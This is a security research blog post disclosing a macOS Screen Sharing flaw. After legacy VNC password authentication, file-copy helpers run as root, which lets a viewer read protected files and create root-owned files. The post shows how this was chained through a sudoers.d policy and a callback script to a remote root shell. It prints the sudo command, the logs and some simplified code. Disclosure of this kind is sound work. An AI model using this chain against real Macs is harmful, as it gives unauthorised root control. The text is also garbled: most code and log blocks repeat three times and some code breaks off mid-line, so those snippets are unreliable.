A root remote command execution on macOS with M5 in 2026?

The answer is yes - surprise! With one important caveat to clarify here at the start to avoid adding ourselves to the long list of fear mongering, overly pompous, fairly misleading marketing campaigns:

This is post authentication, the target Mac must have Screen Sharing or Remote Management enabled, the option "VNC viewers may control screen with password" must be configured, and the attacker must know that VNC password.

Now, with those caveats out of the way, let us tell you the story of how one legacy Screen Sharing authentication path turned ordinary file copy into protected file disclosure, arbitrary root file creation, and ultimately remote root command execution (and how we think "An app may be able to access sensitive user data" could be underplaying what the bug really is).

After the VNC authentication step, we cross a boundary the password was never supposed to cross. A remote viewer can make macOS Screen Sharing read protected files as root. In the other direction, the viewer can create attacker-controlled files as root. We used that second primitive to install a valid sudoers policy and turn a file-copy operation into a remote root command execution (or an LPE).

We tested these bugs on macOS 26.5.2 running on Apple silicon (M4 and M5) with SIP enabled. Memory Integrity Enforcement (MIE) and Pointer Authentication Code (PAC) offer little protection because these are logic flaws rather than memory-safety bugs. The affected service is screensharingd, together with its SSFileCopySender and SSFileCopyReceiver helpers.

Two authentication worlds in one service

Apple Screen Sharing speaks RFB, the protocol commonly associated with VNC, but it supports several authentication modes. The native Apple authentication path resolves a macOS user. The legacy VNC path, RFB security type 2, only proves knowledge of the separate password configured for VNC viewers.

That distinction matters. A VNC password is not a macOS login identity, so there is no user UID and GID naturally attached to it.

Apple's own Remote Desktop documentation describes VNC access as comparable to screen control and says that it does not grant other Remote Desktop administrator privileges beyond those of the currently logged-in user. It also notes that the VNC password does not necessarily correspond to another password on the system.

Screen Sharing's file-copy implementation nevertheless needs an identity when it touches the filesystem. On the native authentication path, it gets this right: the file-copy helper runs as the authenticated macOS user. On the legacy VNC path, the helpers instead retain root filesystem authority.

That creates two related, but distinct, vulnerabilities:

File-copy protocols are supposed to carry paths and file contents. The bug is not that these fields exist. The bug is that remote-controlled filesystem operations are performed with the authority of a privileged service rather than the authority represented by the authenticated session.

Bug #1: asking root to send a file

The sender side accepts a StartFileSend command. In simplified form, screensharingd takes a path selected by the viewer, stores it in a file-copy session, and starts SSFileCopySender:

if (send->flags & START_SEND_FLAG_REQUEST_FILE) {
    session->path = send->path;        // selected by the remote viewer
    launch_file_sender(session

if (send->flags & START_SEND_FLAG_REQUEST_FILE) {
    session->path = send->path;        // selected by the remote viewer
    launch_file_sender(session

if (send->flags & START_SEND_FLAG_REQUEST_FILE) {
    session->path = send->path;        // selected by the remote viewer
    launch_file_sender(session

This is safe only if the sender opens the path with the viewer’s filesystem rights.

Under native Apple authentication, the service resolves the authenticated user and launches the helper under that UID. Our comparison session authenticated as UID 502; the sender then failed to open /etc/sudoers, exactly as normal Unix permissions require.

Under legacy VNC authentication, the same helper launched as:

SSFileCopySender file copy sender launched uid 0 gid 80

SSFileCopySender file copy sender launched uid 0 gid 80

SSFileCopySender file copy sender launched uid 0 gid 80

We first verified that the ordinary proof user could not read /etc/sudoers:

cat: /etc/sudoers: Permission denied

cat: /etc/sudoers: Permission denied

cat: /etc/sudoers: Permission denied

We then sent a correctly sized, well-formed StartFileSend("/etc/sudoers") request over the authenticated VNC session. The file-copy stream returned the protected file:

FILE_CONTENT_BEGIN path=/etc/sudoers bytes=1709
...
FILE_CONTENT_END

FILE_CONTENT_BEGIN path=/etc/sudoers bytes=1709
...
FILE_CONTENT_END

FILE_CONTENT_BEGIN path=/etc/sudoers bytes=1709
...
FILE_CONTENT_END

The primitive is therefore straightforward:

remote-selected source path + root sender credentials = protected file read

remote-selected source path + root sender credentials = protected file read

remote-selected source path + root sender credentials = protected file read

Bug #2: asking root to receive a file

The receive side is the mirror image, but its impact is greater.

After authentication, a viewer can send Apple's file-copy StartFileReceive command. The stream supplies the destination directory, filename, file mode, and contents. screensharingd forwards that data to SSFileCopyReceiver, which creates and writes the requested item.

Reduced to the security-relevant behavior, it looks like this:

destination = start->path;       // remote-controlled
name        = start->name;       // remote-controlled
mode        = new_item->mode;    // remote-controlled
data        = file_data->bytes;  // remote-controlled

create_file(destination, name, mode);
write_file(data

destination = start->path;       // remote-controlled
name        = start->name;       // remote-controlled
mode        = new_item->mode;    // remote-controlled
data        = file_data->bytes;  // remote-controlled

create_file(destination, name, mode);
write_file(data

destination = start->path;       // remote-controlled
name        = start->name;       // remote-controlled
mode        = new_item->mode;    // remote-controlled
data        = file_data->bytes;  // remote-controlled

create_file(destination, name, mode);
write_file(data

Again, those operations are ordinary file-copy behavior if they run as the authenticated user. Under native Apple authentication, they do. Our negative control could write into /private/tmp, but an attempt to write into /private/etc/sudoers.d failed while the receiver was running with the authenticated user’s credentials.

The legacy VNC path did not perform the same credential drop:

file copy receiver launched uid = 0 gid = 80

file copy receiver launched uid = 0 gid = 80

file copy receiver launched uid = 0 gid = 80

From the remote client, we selected /private/var/root as a destination and created a new file. The resulting object was owned by root:wheel, and a direct attempt by the proof user to create that file had previously failed with Permission denied.

The validated primitive was new-file creation rather than overwrite. That limitation did not prevent exploitation because macOS has protected directories in which the creation of a new root-owned policy file is security-sensitive.

From root file creation to root command execution

We used /private/etc/sudoers.d:

Before exploitation, our non-admin proof user could not use passwordless sudo:

$ sudo -n id
sudo: a password is required

$ sudo -n id
sudo: a password is required

$ sudo -n id
sudo: a password is required

Through the Screen Sharing receive stream, we created:

/private/etc/sudoers.d/99-screensharing-filecopy-proof
owner: root:wheel
mode:  0440

/private/etc/sudoers.d/99-screensharing-filecopy-proof
owner: root:wheel
mode:  0440

/private/etc/sudoers.d/99-screensharing-filecopy-proof
owner: root:wheel
mode:  0440

The mode matters: sudo accepts policy includes only when their ownership and permissions are safe. The remote file-copy protocol gave us enough control to produce a valid root-owned 0440 include.

After the write, the same non-admin user could execute:

$ sudo -n /bin/bash
bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

$ sudo -n /bin/bash
bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

$ sudo -n /bin/bash
bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

For the end-to-end remote demonstration, we also wrote a callback script through the same file-copy channel. We then used the already authenticated Screen Sharing GUI session to open Terminal and start it through the new sudo rule:

sudo -n /bin/sh -c '/bin/sh /private/tmp/screensharing-filecopy-root-callback.sh'

sudo -n /bin/sh -c '/bin/sh /private/tmp/screensharing-filecopy-root-callback.sh'

sudo -n /bin/sh -c '/bin/sh /private/tmp/screensharing-filecopy-root-callback.sh'

The callback connected to the proof client, where id confirmed an interactive root shell:

bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),...

We also validated a next-login trigger by placing a LaunchAgent for a target user; the root file-write primitive itself requires only the configured VNC password.

One bug, twice?

The read and write issues share a root cause, but they are worth treating separately. Apple marked both with one CVE.

They live in opposite protocol directions, exercise different helpers, and have different impacts. SSFileCopySender turns the credential confusion into protected disclosure. SSFileCopyReceiver turns it into privileged file creation and, through a security-sensitive policy directory, root command execution.

What connects them is a deceptively small assumption: when no macOS user identity exists, a privileged helper is allowed to keep acting as root.

Remediation and impact

Apple assigned the two Screen Sharing issues a single identifier, CVE-2026-43760, and a CVSS 3.1 base score of 5.5. The issue was fixed in macOS Tahoe 26.6, released on July 27, 2026, and in macOS Sonoma 14.8.8. Apple's advisory describes the issue as: "An app may be able to access user-sensitive data." We believe that significantly understates the impact.

That description fits the protected-file read primitive in isolation. It does not capture the other direction of the same credential failure: a network-authenticated viewer creating new files as root, installing a valid sudoers policy, and reaching remote root command execution.

Is 5.5 the right score for the complete demonstrated impact? We will let you decide, but here is our reasoning.

Our conservative CVSS 3.1 assessment is 8.0 High:

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

• AV:N - Network. The vulnerable component is reached directly through the Screen Sharing network service. The attacker does not need prior local code execution.

• AC:L - Low. Once the required feature is enabled and the attacker has the VNC password, exploitation is repeatable and deterministic. It does not depend on a race, heap grooming, memory-layout knowledge, or a malformed-packet side effect.

• PR:L - Low. The attacker needs the separately configured VNC password. That credential authorizes a limited Screen Sharing session; it is not a macOS account password and should not carry administrative filesystem privileges.

• UI:R - Required. We use the next-login LaunchAgent path for this conservative vector. The root file creation happens immediately, but the demonstrated callback is triggered when the target user next enters a GUI session.

• S:U - Unchanged. screensharingd, its privileged helpers, and the affected macOS filesystem are governed by the same operating-system security authority.

• C:H/I:H/A:H - High. The demonstrated callback executes arbitrary commands as root, allowing complete access to system confidentiality, integrity, and availability.

There is one important scoring nuance. UI:R is not intrinsic to every validated exploitation path. If a user session is already active and unlocked, the authenticated viewer can use the Screen Sharing GUI to open Terminal and trigger the callback without any new action by the target user. Scoring that reasonable scenario as UI:N produces 8.8 High:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

We retain 8.0 as the conservative headline score because it describes the VNC-password-only, next-login callback path. The 8.8 variant explains why describing user interaction simply as "required" can understate the already-unlocked case.

CVSS measures technical severity of affected systems, not the probability that a random Mac is exposed. As for the "remote" part: yes, but we will stress again that this is post-VNC-authentication.

The attacker interacts with the target over the Screen Sharing service, and the demonstrated root shell connects back over the network. No local code execution is needed before exploiting the file-copy primitive. However:

• Screen Sharing or Remote Management must be enabled.

• "VNC viewers may control screen with password" must be enabled and configured.

• The attacker must know that VNC password.

Those qualifications matter, but they do not make the boundary failure benign. A password intended to grant screen-control access should not silently authorize arbitrary root filesystem operations.

The remediation is to install macOS Tahoe 26.6 or Sonoma 14.8.8. Where an update cannot be installed immediately, disabling "VNC viewers may control screen with password" removes the vulnerable legacy authentication path. If remote access is unnecessary, Screen Sharing and Remote Management should be disabled entirely. Rotating the VNC password may address a suspected credential leak, but it does not repair the authorization flaw in an unpatched system.

Final thoughts

This bug is interesting precisely because it does not have to defeat Memory Integrity Enforcement or PAC, and it's remote root.

Memory Integrity Enforcement is designed to make memory-corruption exploitation dramatically harder. Together with technologies such as Pointer Authentication Codes, typed allocators, and hardened control-flow boundaries, it removes or constrains many of the primitives traditionally used to turn an out-of-bounds access or use-after-free into code execution.

CVE-2026-43760 is not a bypass of MIE. It simply lives outside the class of behavior MIE is designed to stop.

There is no buffer overflow here. There is no use-after-free, forged function pointer, ROP chain, PAC bypass, tag disclosure, or attempt to inject executable pages. screensharingd parses a legitimate file-copy command, launches an Apple-signed helper, and asks that helper to perform an ordinary filesystem operation. Every individual operation works as designed. The security failure is that the operation runs under the wrong identity.

That distinction matters as platform memory defenses improve. Eliminating broad classes of memory exploitation does not eliminate authorization bugs, confused-deputy problems, dangerous compatibility paths, or mismatched assumptions between privileged components. Those bugs are semantic: finding them requires understanding what a service believes an authenticated client is allowed to do, not merely whether a packet can make the service crash.

In this case, the useful invariants cross several boundaries:

• A legacy VNC password authenticates access to screen control, but does not identify a macOS user.

• File copy accepts paths and bytes chosen by the remote viewer.

• A privileged daemon delegates those operations to separate sender and receiver helpers.

• Native authentication drops those helpers to the authenticated user's UID, while legacy VNC authentication did not.

The vulnerability appears only when the full path is reconstructed: from RFB authentication, through session identity, into helper launch credentials, and finally to the filesystem operation.

That is also why this was an interesting automated-discovery result. The bug was found through our automated vulnerability-discovery workflow using GPT-5.5 for discovery and validation. A conventional crash oracle would have had very little to say: the successful exploit does not crash screensharingd; it returns file data or completes a file creation with status zero.

The useful signal was differential and semantic. The same operation under native authentication ran as UID 502 and failed against a protected path. Under legacy VNC authentication, it ran as UID 0 and succeeded. Following that difference across authentication branches and helper processes is the kind of reasoning needed to find modern logic vulnerabilities.

Bynario Atlas surfaced the cross-path credential mismatch and traced it to a concrete security consequence. We then validated the finding end to end, confirming protected reads, root-owned file creation, and remote root command execution.

The larger lesson is that the next generation of vulnerability discovery must work just as well on logic bugs as it does on memory-safety flaws. Bynario Atlas (*) is built for that problem: it reasons across identities, capabilities, protocol states, compatibility modes, and trust boundaries. CVE-2026-43760 is exactly the kind of issue this approach can surface - every component behaves normally in isolation, yet the system as a whole makes a security-critical decision under the wrong authority.

-

(*) If you want this level of capabilities for your own code, Bynario Atlas is the Atlas we recommend. We may be biased, of course. It was flattering to discover Wiz liked the name too.

And here's the exploit in action with the LaunchAgents primitive that requires the target user to relog.